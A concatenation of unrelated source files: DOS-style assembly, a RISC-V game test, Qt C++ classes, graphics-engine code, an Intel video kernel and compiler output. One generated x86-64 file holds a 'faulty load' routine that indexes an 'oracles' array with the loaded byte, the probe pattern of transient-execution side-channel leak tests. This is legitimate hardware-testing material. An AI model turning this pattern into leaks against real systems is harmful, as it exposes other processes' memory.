0x10 inc cx %endrep mov cx, [player_x] inc dx %rep 3 int 0x10 inc cx %endrep jmp .loop_forever_1 ;player thread control_player: .loop_forever_2: ; Check for keystroke cmp byte [keypress], 0 je .loop_forever_2 ; 0x1E - A Down ; 0x9E - A Up cmp byte [keypress], 0x1E jne .key_a_exit dec word [player_x] .key_a_exit: ; 0x20 - D Down ; 0xA0 - D Up cmp byte [keypress], 0x20 jne .key_d_exit inc word [player_x] .key_d_exit: ; 0x11 - W Down ; 0x91 - W Up cmp byte [keypress], 0x11 jne .key_w_exit inc byte [player_y] .key_w_exit: ; 0x1F - S Down ; 0x9F - S Up cmp byte [keypress], 0x1F jne .key_s_exit dec byte [player_y] .key_s_exit: jmp .loop_forever_2 rect_1: .loop_forever_3: ; Draw rectangle #1 mov ax, 0x0C2F mov bx, 0x0 mov cx, [rect_a_x] mov dx, 0x0 int 0x10 inc word [rect_a_x] and word [rect_a_x], 0x3F jmp .loop_forever_3 rect_2: .loop_forever_4: ; Draw rectangle #2 mov ax, 0x0C73 mov bx, 0x0 mov cx, [rect_b_x] mov dx, 0x2 int 0x10 inc word [rect_b_x] and word [rect_b_x], 0x3F jmp .loop_forever_4 ; Custom keyboard interrupt keyboard_int: push ax in al, 0x60 mov [keypress], al mov al, 0x20 out 0x20, al pop ax iret ; INT 8 Timer ISR (interrupt service routine) ; cannot clobber anything; must CHAIN to original caller (for interrupt acknowledgment) ; DS/ES == ???? (at entry, and must retain their original values at exit) timer_isr: ;save any registers we clobber to the stack pusha lea bx, [stack_pointers] ; get the location of the stack pointers add bx, [current_task] ; get the location of the current stack pointer mov [bx], sp ; save current stack so we can switch back mov cx, [current_task] ; look for a new task add cx, 2 .sp_loop_for_active_stack: cmp cx, [current_task] ; we are done when we get back to the original jne .sp_check_if_active jmp .sp_none_active .sp_check_if_active: lea bx, [task_status] ; get status of this stack add bx, cx cmp word [bx], 1 je .sp_is_active add cx, 2 ; next stack to search cmp cx, 10 jl .sp_loop_for_active_stack mov cx, 0 jmp .sp_loop_for_active_stack .sp_is_active: mov [current_task], cx lea bx, [stack_pointers] ; get the location of the stack pointers add bx, [current_task] ; get the location of the current stack pointer mov sp, [bx] .sp_none_active: popa ; Chain (i.e., jump) to the original INT 8 handler jmp far [cs:ivt8_offset] ; Use CS as the segment here, since who knows what DS is now SECTION .data rect_a_x: dw 0 rect_b_x: dw 0 rect_c_x: dw 0 rect_d_x: dw 0 player_x: dw 0 player_y: db 0 keypress: db 0 ivt8_offset dw 0 ivt8_segment dw 0 ivt9_offset dw 0 ivt9_segment dw 0 current_task: dw 0 ; must always be a multiple of 2 stacks: times (256 * 4) db 0 ; 31 fake stacks of size 256 bytes task_status: times 5 dw 0 ; 0 means inactive, 1 means active stack_pointers: dw 0 ; the first pointer needs to be to the real stack ! %assign i 1 %rep 4 dw stacks + (256 * i) %assign i i+1 %endrep
# adresse an der der speicherstand gespeichert ist .eqv board 0x10008000 li a0, board li a1, 1 sw a1, 0(gp) sw a1, 4(gp) sw a1, 8(gp) jal getWinningCondition mv s2, a0 jal clean_board li a0, board li a1, 2 sw a1, 12(gp) sw a1, 16(gp) sw a1, 20(gp) jal getWinningCondition mv s3, a0 jal clean_board li a0, board li a1, 2 sw a1, 24(gp) sw a1, 28(gp) sw a1, 32(gp) jal getWinningCondition mv s4, a0 jal clean_board li a0, board li a1, 2 sw a1, 0(gp) sw a1, 12(gp) sw a1, 24(gp) jal getWinningCondition mv s5, a0 jal clean_board li a0, board li a1, 2 sw a1, 4(gp) sw a1, 16(gp) sw a1, 28(gp) jal getWinningCondition mv s6, a0 jal clean_board li a0, board li a1, 2 sw a1, 8(gp) sw a1, 20(gp) sw a1, 32(gp) jal getWinningCondition mv s7, a0 jal clean_board li a0, board li a1, 2 sw a1, 0(gp) sw a1, 16(gp) sw a1, 32(gp) jal getWinningCondition mv s8, a0 jal clean_board li a0, board li a1, 2 sw a1, 24(gp) sw a1, 16(gp) sw a1, 8(gp) jal getWinningCondition mv s9, a0 jal clean_board li a0, board jal getWinningCondition mv s10, a0 li a7, 10 ecall clean_board: li a1, 0 sw a1, 0(gp) sw a1, 4(gp) sw a1, 8(gp) sw a1, 12(gp) sw a1, 16(gp) sw a1, 20(gp) sw a1, 24(gp) sw a1, 28(gp) sw a1, 32(gp) ret .include "../src/check_end_game.asm"
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r14 push %r15 push %r8 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0xdf0, %rbx nop nop nop dec %rdx mov (%rbx), %r15d nop nop nop sub %r10, %r10 lea addresses_UC_ht+0x130a0, %rbx nop nop nop nop and %rdx, %rdx movups (%rbx), %xmm3 vpextrq $0, %xmm3, %r13 nop nop nop nop nop xor $48891, %r10 lea addresses_normal_ht+0x16434, %r14 nop nop nop nop sub %r8, %r8 mov (%r14), %r13d xor %rdx, %rdx lea addresses_WC_ht+0x1984, %rsi lea addresses_WC_ht+0xee74, %rdi nop and $40969, %r13 mov $28, %rcx rep movsb nop nop nop nop nop and $21049, %r14 lea addresses_UC_ht+0x497c, %rsi lea addresses_UC_ht+0x11e04, %rdi nop nop nop nop nop and %r8, %r8 mov $125, %rcx rep movsb and %r15, %r15 lea addresses_A_ht+0x528f, %rsi lea addresses_WT_ht+0x15e14, %rdi nop nop nop nop nop xor $18172, %r13 mov $19, %rcx rep movsl nop nop nop nop nop inc %rsi lea addresses_WT_ht+0x1a114, %rsi lea addresses_normal_ht+0x229c, %rdi clflush (%rdi) nop nop cmp $42836, %r10 mov $39, %rcx rep movsw nop nop nop nop xor %r13, %r13 lea addresses_A_ht+0x6a14, %rcx nop nop nop nop nop xor $48312, %r14 movb $0x61, (%rcx) nop nop nop cmp $39569, %r15 lea addresses_normal_ht+0x141ec, %r8 xor $63637, %rcx mov $0x6162636465666768, %r10 movq %r10, (%r8) nop nop nop nop nop sub $63832, %r10 lea addresses_normal_ht+0x3194, %r10 and %rdx, %rdx mov $0x6162636465666768, %r14 movq %r14, (%r10) inc %rdx lea addresses_A_ht+0x565d, %rbx nop nop nop nop add %r15, %r15 mov $0x6162636465666768, %r14 movq %r14, (%rbx) nop nop nop nop xor %rdi, %rdi lea addresses_UC_ht+0xccbc, %rsi lea addresses_WT_ht+0x161d4, %rdi nop nop xor %rdx, %rdx mov $78, %rcx rep movsb nop nop add $25389, %r13 lea addresses_A_ht+0xcc14, %rsi clflush (%rsi) nop nop nop nop inc %r13 mov (%rsi), %r10w cmp %r13, %r13 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r8 pop %r15 pop %r14 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r14 push %r15 push %rbx push %rcx // Store lea addresses_PSE+0x1e214, %r15 nop nop nop nop nop cmp %r12, %r12 mov $0x5152535455565758, %r10 movq %r10, (%r15) nop and $49570, %r15 // Faulty Load lea addresses_WC+0x6214, %rbx nop nop nop nop nop add $28736, %r15 movups (%rbx), %xmm4 vpextrq $0, %xmm4, %r10 lea oracles, %r15 and $0xff, %r10 shlq $12, %r10 mov (%r15,%r10,1), %r10 pop %rcx pop %rbx pop %r15 pop %r14 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WC', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_PSE', 'size': 8, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WC', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}} {'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': True}} {'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}} {'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': True, 'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False}} {'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}} {'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} {'38': 21829} 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 */
#include <QTranslator> #include <QApplication> #include <QDebug> #include <QFile> #include "MainUI.h" #include <LuminaOS.h> #include <LuminaThemes.h> #include <LUtils.h> #include <LuminaSingleApplication.h> int main(int argc, char ** argv) { LTHEME::LoadCustomEnvSettings(); //Make sure Qt5 auto-scaling is disabled for this application (need exact pixel measurements) unsetenv("QT_AUTO_SCREEN_SCALE_FACTOR"); LSingleApplication a(argc, argv, "l-screencast"); if(!a.isPrimaryProcess()){ return 0; } a.setApplicationName("Record Screen"); MainUI w; w.show(); return a.exec(); }
; A260235: Number of distinct prime factors of the n-th hexagonal number (A000384). ; 2,2,2,2,3,2,3,2,3,3,3,2,3,3,2,3,4,2,4,3,3,3,3,2,4,2,4,3,4,2,3,4,3,4,3,2,4,4,3,2,4,3,4,3,4,3,4,2,4,3,3,4,3,3,4,3,4,3,5,2,4,3,2,4,4,3,4,3,4,3,4,3,4,3,3,4,5,2,4,3,3,4,4,3,4,3,4,3,4,3,4,4,4,4,3,2,5,3,3,3 add $0,1 mul $0,2 seq $0,96 ; a(n) = n*(n+3)/2. seq $0,1221 ; Number of distinct primes dividing n (also called omega(n)).
#include "treeitem.h" TreeItem::TreeItem(const QList<QVariant> &data, TreeItem *parentItem) { m_parentItem = parentItem; m_itemData = data; } TreeItem::TreeItem(TreeItem *parentItem) { m_parentItem = parentItem; } TreeItem::~TreeItem() { qDeleteAll(m_childItems); } void TreeItem::appendChild(TreeItem *child) { m_childItems.append(child); } TreeItem *TreeItem::child(int row) { return m_childItems.value(row); } QList<TreeItem*> TreeItem::children() { return m_childItems; } int TreeItem::childCount() const { return m_childItems.count(); } int TreeItem::row() const { if (m_parentItem) return m_parentItem->m_childItems.indexOf(const_cast<TreeItem*>(this)); return 0; } int TreeItem::columnCount() const { return m_itemData.count(); } QVariant TreeItem::data(int column) const { return m_itemData.value(column); } bool TreeItem::setData(int column, const QVariant &data) { return true; } TreeItem *TreeItem::parentItem() { return m_parentItem; } QVariant TreeItem::icon(int column) const { return QVariant(); } bool TreeItem::canInsertChild() const { return true; } bool TreeItem::insertChild(int position, TreeItem *item) { if (position < 0 || position > m_childItems.count()) return false; m_childItems.insert(position, item); return true; } bool TreeItem::removeChild(int position) { if (position < 0 || position > m_childItems.count()) return false; m_childItems.removeAt(position); return true; } void TreeItem::setDirty(bool isDirty) { m_isDirty = isDirty; } bool TreeItem::isDirty() { return m_isDirty; } bool TreeItem::canEdit() const { return false; } QJsonObject TreeItem::toJson() { QJsonObject object; return object; } QString TreeItem::name() const { return QString(); }
#include "wiTextureHelper.h" #include "wiRenderer.h" #include "wiRandom.h" #include "wiColor.h" #include "wiBackLog.h" #include "wiSpinLock.h" #include <unordered_map> using namespace wiGraphicsTypes; namespace wiTextureHelper { enum HELPERTEXTURES { HELPERTEXTURE_RANDOM64X64, HELPERTEXTURE_COLORGRADEDEFAULT, HELPERTEXTURE_NORMALMAPDEFAULT, HELPERTEXTURE_BLACKCUBEMAP, HELPERTEXTURE_COUNT }; wiGraphicsTypes::Texture2D helperTextures[HELPERTEXTURE_COUNT] = {}; std::unordered_map<unsigned long, wiGraphicsTypes::Texture2D*> colorTextures; wiSpinLock colorlock; void Initialize() { // Random64x64 { uint8_t data[64 * 64 * 4]; for (int i = 0; i < ARRAYSIZE(data); i += 4) { data[i] = wiRandom::getRandom(0, 255); data[i + 1] = wiRandom::getRandom(0, 255); data[i + 2] = wiRandom::getRandom(0, 255); data[i + 3] = 255; } HRESULT hr = CreateTexture(helperTextures[HELPERTEXTURE_RANDOM64X64], data, 64, 64); assert(SUCCEEDED(hr)); } // ColorGradeDefault { uint8_t data[256 * 16 * 4]; for (uint8_t slice = 0; slice < 16; ++slice) { for (int x = 0; x < 16; ++x) { for (int y = 0; y < 16; ++y) { uint8_t r = x * 16 + x; uint8_t g = y * 16 + y; uint8_t b = slice * 16 + slice; int gridPos = (slice * 16 + y * 256 + x) * 4; data[gridPos] = r; data[gridPos + 1] = g; data[gridPos + 2] = b; data[gridPos + 3] = 255; } } } HRESULT hr = CreateTexture(helperTextures[HELPERTEXTURE_COLORGRADEDEFAULT], data, 256, 16); assert(SUCCEEDED(hr)); } // BlackCubemap { const int width = 1; const int height = 1; struct vector4b { unsigned char r; unsigned char g; unsigned char b; unsigned char a; vector4b(unsigned char r = 0, unsigned char g = 0, unsigned char b = 0, unsigned char a = 0) :r(r), g(g), b(b), a(a) {} }; TextureDesc texDesc; texDesc.Width = width; texDesc.Height = height; texDesc.MipLevels = 1; texDesc.ArraySize = 6; texDesc.Format = FORMAT_R8G8B8A8_UNORM; texDesc.CPUAccessFlags = 0; texDesc.SampleDesc.Count = 1; texDesc.SampleDesc.Quality = 0; texDesc.Usage = USAGE_DEFAULT; texDesc.BindFlags = BIND_SHADER_RESOURCE; texDesc.CPUAccessFlags = 0; texDesc.MiscFlags = RESOURCE_MISC_TEXTURECUBE; SubresourceData pData[6]; vector4b d[6][width * height]; // 6 images of type vector4b = 4 * unsigned char for (int cubeMapFaceIndex = 0; cubeMapFaceIndex < 6; cubeMapFaceIndex++) { // fill with black color for (int pix = 0; pix < width*height; ++pix) { d[cubeMapFaceIndex][pix] = vector4b(0, 0, 0, 0); } pData[cubeMapFaceIndex].pSysMem = &d[cubeMapFaceIndex][0];// description.data; pData[cubeMapFaceIndex].SysMemPitch = width * 4; pData[cubeMapFaceIndex].SysMemSlicePitch = 0; } HRESULT hr = wiRenderer::GetDevice()->CreateTexture2D(&texDesc, &pData[0], &helperTextures[HELPERTEXTURE_BLACKCUBEMAP]); assert(SUCCEEDED(hr)); } wiBackLog::post("wiTextureHelper Initialized"); } Texture2D* getRandom64x64() { return &helperTextures[HELPERTEXTURE_RANDOM64X64]; } Texture2D* getColorGradeDefault() { return &helperTextures[HELPERTEXTURE_COLORGRADEDEFAULT]; } Texture2D* getNormalMapDefault() { return getColor(wiColor(127, 127, 255, 255)); } Texture2D* getBlackCubeMap() { return &helperTextures[HELPERTEXTURE_BLACKCUBEMAP]; } Texture2D* getWhite() { return getColor(wiColor(255, 255, 255, 255)); } Texture2D* getBlack() { return getColor(wiColor(0, 0, 0, 255)); } Texture2D* getTransparent() { return getColor(wiColor(0, 0, 0, 0)); } Texture2D* getColor(const wiColor& color) { colorlock.lock(); auto it = colorTextures.find(color.rgba); auto end = colorTextures.end(); colorlock.unlock(); if (it != end) { return it->second; } static const int dim = 1; static const int dataLength = dim * dim * 4; uint8_t data[dataLength]; for (int i = 0; i < dataLength; i += 4) { data[i] = color.getR(); data[i + 1] = color.getG(); data[i + 2] = color.getB(); data[i + 3] = color.getA(); } Texture2D* texture = new Texture2D; if (FAILED(CreateTexture(*texture, data, dim, dim))) { delete texture; return nullptr; } colorlock.lock(); colorTextures[color.rgba] = texture; colorlock.unlock(); return texture; } HRESULT CreateTexture(wiGraphicsTypes::Texture2D& texture, const uint8_t* data, UINT width, UINT height, FORMAT format) { if (data == nullptr) { return E_FAIL; } GraphicsDevice* device = wiRenderer::GetDevice(); TextureDesc textureDesc; textureDesc.Width = width; textureDesc.Height = height; textureDesc.MipLevels = 1; textureDesc.ArraySize = 1; textureDesc.Format = format; textureDesc.SampleDesc.Count = 1; textureDesc.SampleDesc.Quality = 0; textureDesc.Usage = USAGE_IMMUTABLE; textureDesc.BindFlags = BIND_SHADER_RESOURCE; textureDesc.CPUAccessFlags = 0; textureDesc.MiscFlags = 0; SubresourceData InitData; InitData.pSysMem = data; InitData.SysMemPitch = width * device->GetFormatStride(format); HRESULT hr; hr = device->CreateTexture2D(&textureDesc, &InitData, &texture); return hr; } }
[bits 64] rdfsbase ebx ; out: f3 0f ae c3 rdfsbase rbx ; out: f3 48 0f ae c3 rdgsbase ecx ; out: f3 0f ae c9 rdgsbase rcx ; out: f3 48 0f ae c9 wrfsbase ebx ; out: f3 0f ae d3 wrfsbase rbx ; out: f3 48 0f ae d3 wrgsbase ecx ; out: f3 0f ae d9 wrgsbase rcx ; out: f3 48 0f ae d9
/* * All Video Processing kernels * Copyright © <2010>, Intel Corporation. * * This program is licensed under the terms and conditions of the * Eclipse Public License (EPL), version 1.0. The full text of the EPL is at * http://www.opensource.org/licenses/eclipse-1.0.php. * */ #define DI_ENABLE #include "DNDI.inc" #undef nY_NUM_OF_ROWS #define nY_NUM_OF_ROWS 8 // Number of Y rows per block (4 rows for each frame) #undef nUV_NUM_OF_ROWS #define nUV_NUM_OF_ROWS 8 // Number of U/V rows per block #undef nSMPL_RESP_LEN #define nSMPL_RESP_LEN nSMPL_RESP_LEN_DNDI // set the number of GRF #undef nDPW_BLOCK_SIZE_HIST #define nDPW_BLOCK_SIZE_HIST nBLOCK_WIDTH_4+nBLOCK_HEIGHT_1 // HIST Block Size for Write is 4x2 #undef nDPW_BLOCK_SIZE_DN #define nDPW_BLOCK_SIZE_DN nBLOCK_WIDTH_16+nBLOCK_HEIGHT_4 // DN Block Size for Write is 16x4 #undef nDPR_BLOCK_SIZE_UV #define nDPR_BLOCK_SIZE_UV nBLOCK_WIDTH_8+nBLOCK_HEIGHT_2 // DN Block Size for UV Write/Read is 8x2 ////////////////////////////////////// Run the DN Algorithm /////////////////////////////////////// #include "DNDI_Command.asm" ////////////////////////////////////// Rearrange for Internal Planar ////////////////////////////// // move the previous frame Y component to internal planar format $for (0; <nY_NUM_OF_ROWS/2; 1) { mov (16) uwDEST_Y(%1,0)<1> ubRESP(nDI_PREV_FRAME_LUMA_OFFSET,%1*16) } // move the previous frame U,V components to internal planar format $for (0; <nUV_NUM_OF_ROWS/2; 1) { mov (8) uwDEST_U(0,%1*8)<1> ubRESP(nDI_PREV_FRAME_CHROMA_OFFSET,%1*16+1)<16;8,2> //U pixels mov (8) uwDEST_V(0,%1*8)<1> ubRESP(nDI_PREV_FRAME_CHROMA_OFFSET,%1*16)<16;8,2> //V pixels } // move the current frame Y component to internal planar format $for (0; <nY_NUM_OF_ROWS/2; 1) { mov (16) uwDEST_Y(%1+4,0)<1> ubRESP(nDI_CURR_FRAME_LUMA_OFFSET,%1*16) } // move the current frame U,V components to internal planar format $for (0; <nUV_NUM_OF_ROWS/2; 1) { mov (8) uwDEST_U(2,%1*8)<1> ubRESP(nDI_CURR_FRAME_CHROMA_OFFSET,%1*16+1)<16;8,2> //U pixels mov (8) uwDEST_V(2,%1*8)<1> ubRESP(nDI_CURR_FRAME_CHROMA_OFFSET,%1*16)<16;8,2> //V pixels } ////////////////////////////////////// Save the STMM Data for Next Run ///////////////////////// // Write STMM to memory shr (1) rMSGSRC.0<1>:ud wORIX<0;1,0>:w 1:w // X origin / 2 mov (1) rMSGSRC.1<1>:ud wORIY<0;1,0>:w // Y origin mov (1) rMSGSRC.2<1>:ud nDPW_BLOCK_SIZE_STMM:ud // block width and height (8x4) mov (8) mudMSGHDR_STMM(0)<1> rMSGSRC.0<8;8,1>:ud // message header mov (8) mudMSGHDR_STMM(1)<1> udRESP(nDI_STMM_OFFSET,0) // Move STMM to MRF send (8) dNULLREG mMSGHDR_STMM udDUMMY_NULL nDATAPORT_WRITE nDPMW_MSGDSC+nDPMW_MSG_LEN_STMM+nBI_STMM_HISTORY_OUTPUT:ud ////////////////////////////////////// Save the History Data for Next Run ///////////////////////// #include "DI_Hist_Save.asm" ////////////////////////////////////// Save the DN Curr Frame for Next Run //////////////////////// add (4) pCF_Y_OFFSET<1>:uw ubSRC_CF_OFFSET<4;4,1>:ub npDN_YUV:w // check top/bottom field first cmp.e.f0.0 (1) null<1>:w ubTFLD_FIRST<0;1,0>:ub 1:w (f0.0) jmpi (1) TOP_FIELD_FIRST BOTTOM_FIELD_FIRST: $for (0,0; <nY_NUM_OF_ROWS/2; 2,1) { mov (4) mudMSGHDR_DN(1,%1*4)<1> udRESP(nDI_CURR_2ND_FIELD_LUMA_OFFSET,%2*4)<4;4,1> // 2nd field luma from current frame (line 0,2) mov (4) mudMSGHDR_DN(1,%1*4+4)<1> udRESP(nDI_CURR_FRAME_LUMA_OFFSET+%2,4)<4;4,1> // 1st field luma from current frame (line 1,3) } jmpi (1) SAVE_DN_CURR TOP_FIELD_FIRST: $for (0,0; <nY_NUM_OF_ROWS/2; 2,1) { mov (4) mudMSGHDR_DN(1,%1*4)<1> udRESP(nDI_CURR_FRAME_LUMA_OFFSET+%2,0)<4;4,1> // 2nd field luma from current frame (line 0,2) mov (4) mudMSGHDR_DN(1,%1*4+4)<1> udRESP(nDI_CURR_2ND_FIELD_LUMA_OFFSET,%2*4)<4;4,1> // 1st field luma from current frame (line 1,3) } SAVE_DN_CURR: mov (2) rMSGSRC.0<1>:ud wORIX<2;2,1>:w // X origin and Y origin mov (1) rMSGSRC.2<1>:ud nDPW_BLOCK_SIZE_DN:ud // block width and height (16x4) mov (8) mudMSGHDR_DN(0)<1> rMSGSRC.0<8;8,1>:ud send (8) dNULLREG mMSGHDR_DN udDUMMY_NULL nDATAPORT_WRITE nDPMW_MSGDSC+nDPMW_MSG_LEN_PL_DN_DI+nBI_DESTINATION_Y:ud /////////////////////////////IMC3 UV Copy 422///////////////////////////////////////////////////// //Read UV through DATAPORT add (2) rMSGSRC.0<1>:d wORIX<2;2,1>:w wSRC_H_ORI_OFFSET<2;2,1>:w // Source Y Block origin asr (2) rMSGSRC.0<1>:d rMSGSRC.0<2;2,1>:d 1:w // U/V block origin should be half of Y's mov (1) rMSGSRC.2<1>:ud nDPR_BLOCK_SIZE_UV:ud // U/V block width and height (8x2) mov (8) mudMSGHDR_DN<1> rMSGSRC<8;8,1>:ud send (4) udBOT_U_IO(0)<1> mMSGHDR_DN udDUMMY_NULL nDATAPORT_READ nDPMR_MSGDSC+nRESLEN_1+nBI_CURRENT_SRC_U:ud send (4) udBOT_V_IO(0)<1> mMSGHDR_DN udDUMMY_NULL nDATAPORT_READ nDPMR_MSGDSC+nRESLEN_1+nBI_CURRENT_SRC_V:ud //Write UV through DATAPORT mov (2) rMSGSRC.0<1>:ud wORIX<2;2,1>:w // X origin and Y origin asr (2) rMSGSRC.0<1>:d wORIX<2;2,1>:w 1:w // U/V block origin should be half of Y's mov (1) rMSGSRC.2<1>:ud nDPR_BLOCK_SIZE_UV:ud // block width and height (8x2) mov (8) mudMSGHDR_DN(0)<1> rMSGSRC.0<8;8,1>:ud mov (4) mudMSGHDR_DN(1)<1> udBOT_U_IO(0)<4;4,1> send (4) dNULLREG mMSGHDR_DN udDUMMY_NULL nDATAPORT_WRITE nDPMW_MSGDSC+nMSGLEN_1+nBI_DESTINATION_U:ud mov (4) mudMSGHDR_DN(1)<1> udBOT_V_IO(0)<4;4,1> send (4) dNULLREG mMSGHDR_DN udDUMMY_NULL nDATAPORT_WRITE nDPMW_MSGDSC+nMSGLEN_1+nBI_DESTINATION_V:ud
SYS_EXIT equ 1 SYS_READ equ 3 SYS_WRITE equ 4 STDIN equ 0 STDOUT equ 1 True equ 1 False equ 0 segment .bss x_823a RESD 1 y_823a RESD 1 res RESB 1 section .text global _start print: POP EBX POP EAX PUSH EBX XOR ESI, ESI print_dec: MOV EDX, 0 MOV EBX, 0x000A DIV EBX ADD EDX, '0' PUSH EDX INC ESI CMP EAX, 0 JZ print_next JMP print_dec print_next: CMP ESI, 0 JZ print_exit DEC ESI MOV EAX, SYS_WRITE MOV EBX, STDOUT POP ECX MOV [res], ECX MOV ECX, res MOV EDX, 1 INT 0x80 JMP print_next print_exit: RET binop_je: JE binop_true JMP binop_false binop_jg: JG binop_true JMP binop_false binop_jl: JL binop_true JMP binop_false binop_false: MOV EBX, False JMP binop_exit binop_true: MOV EBX, True binop_exit: RET _start: MOV EBX, 2 PUSH EBX MOV EBX, 2 POP EAX ADD EAX, EBX MOV EBX, EAX MOV [x_823a], EBX MOV EBX, [x_823a] PUSH EBX MOV EBX, 6 POP EAX CMP EAX, EBX Call binop_jl CMP EBX, False JE ELSE_74d5 MOV EBX, [x_823a] PUSH EBX CALL print MOV EBX, 3 MOV [x_823a], EBX JMP EXIT_74d5 ELSE_74d5: MOV EBX, 12345 PUSH EBX CALL print EXIT_74d5: MOV EBX, 25 MOV [y_823a], EBX LOOP_d458: MOV EBX, [y_823a] 